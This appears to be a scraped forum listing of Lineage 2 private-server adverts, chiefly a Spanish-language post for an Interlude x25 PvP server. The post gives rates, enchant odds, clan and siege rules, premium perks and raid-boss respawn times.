    • Server mid rate craft PvP   CLIENTE INTERLUDE Website server Discord olympus x25 &nbsp;server 🇧🇷🇦🇷🇨🇱🇬🇷🇲🇽🇵🇪🇸🇰🇪🇸🇺🇾 Server mid rate craft PvP 🔱CLIENTE INTERLUDE🔱 🔅xpx25 🔅Sp x25 🔅Adena x15 🔅Droop x2 🔅Spoil x2 🔅Raidboss xp x2 🔅Raidboss sp x2 🔅Raidboss droop x1 🔅All Rate quest reward  x1 ⚠️All Quest drop reward. x1 🔅Manor x 3 🔅Seal stone x1 🛡️🗡️INFO GRADO S🗡️🛡️ ⚠️Inicia desabilitado drop/spoil/quest. 🔱PROFESIONES/SUBCLASS🔱 🛡️1st profession - 50medal 🛡️2nd profession - 500 medal 🛡️3rd profession - 1k medal +30kk adena 🛡️Sub class - Quest. No necesita matar raids. ⚙️Configuraciones⚙️ 🛡️Gmshop  grade - B. 🛡️Grade A-S Craft - yes x1 chance 🛡️Globlal teleport - yes 🛡️Buffer 1hora. 🛡️Buffer slot 24(+4divine)+12 dances-song 🛡️Auto learn skils - yes 🛡️Autoloot - yes 🛡️Mana potion recarga 1000 ,9segundos delay. 🛡️Champions system:     ▫️lvl 30 - 76     ▫️chance respawn 0.5%.     ▫️adena x20 🛡️Max lvl party 14 lvl. 🛡️Festive sweeper on. 🛡️Max client pc 2. 🛡️Raid boss respawn retail. 🛡️Nobleza quest - yes. 🛡️Barakiel respawn 6 horas + -30 min. 🛡️Olimpiada duracion 14 dias. 🛡️Olimpiada de 18:00 a 00:00 🛡️Safe enchant +3 🛡️Normal enchant scroll 50% ⚠️+11-16 chance 30% 🛡️Bleesed enchant scroll 55% ⚠️+11-16 chance 35% 🛡️Rate dinamico x1 lvl 77-80   🛡️🗡️CLANES INFO🗡️🛡️ 🔅Crear clan min. level 20 🔅Max Alianzas 1 🔅Duracion penalidades clan / alianzas 8 horas. 🔅Cambio de lider 24 horas. 🛡️⚔️ ASEDIOS ⚔️🛡️ 🔅Cada 2 semanas. 🔅Proteccion hwid 1 pc. 🔅Clanes registrados. acceden a zona de asedio. 🔅Castillo asediable Aden. 🔅Reward 1000 FA 🔅Horario 16:00 GMT-3 🎊PACK DE INICIO🎊 🔅Start set - armor\weapon no grade. 🔅Level 20  - 5 shadow cuppon grado D 🔅Level 40 - 5 shadow cuppon grado C 🔅Free Autofarm 24 horas. 💰 INFO PREMIUM 💰 🔅Free autofarm. 🔅xp x30 🔅sp x30 🔅adena x17 🔅drop x4 🔅spoil x4 🔅enchant +2% 🔅seal stone x1 🔅Altb Gk-Gmshop/buffe ⚔️ RAID  BOSS INFO ⚔️ 🔅Raid boss 70 ++ respawn 5 días despues. 🔅Raid boss 75 ++ respawn 15 días despues 🔅Drop LETTER L2DAY para tradear en GMshop. ⚔️ INFO SEVEN SING ⚔️ 🔅Inicio del drop Seal stones dia 5 de iniciado el server. 🎊 EPIC RAID INFO 🎊 🔅Queen Ant (lvl 40)respawn Lunes a Viernes 22:00 GMT-3 drop chance 30%. 🔅Core (lvl 80)respawn Martes-miercoles 20:20 GMT-3 drop chance 100%. 🔅Orfen (lvl 80)respawn Martes-miercoles 21:00 GMT-3 drop chance 100%. 🔅Zaken (lvl 80)respawn Jueves 23:00 GMT-3 drop chance 100%. 🔅Frintezza (lvl 80)respawn Viernes 23:00 GMT-3 drop chance 100%. 🔅Baium (lvl 80)respawn Sabado 22:00 GMT-3 drop chance 100%. 🔅Valakas (lvl 80)respawn Domingo 20:00 GMT-3 drop chance 100%. 🔅Antharas (lvl 80)respawn Domingo 22:00 GMT-3 drop chance 100%.
    • The server is running in l2house.com.ar with C4 mode and in L2Tekila within the same login you can also test it in C5, if you want me to raise another chronicle to test, just let me know.
    • video nice song TopGear  gaming 1990    ....  
  • Topics

×
×
  • Create New...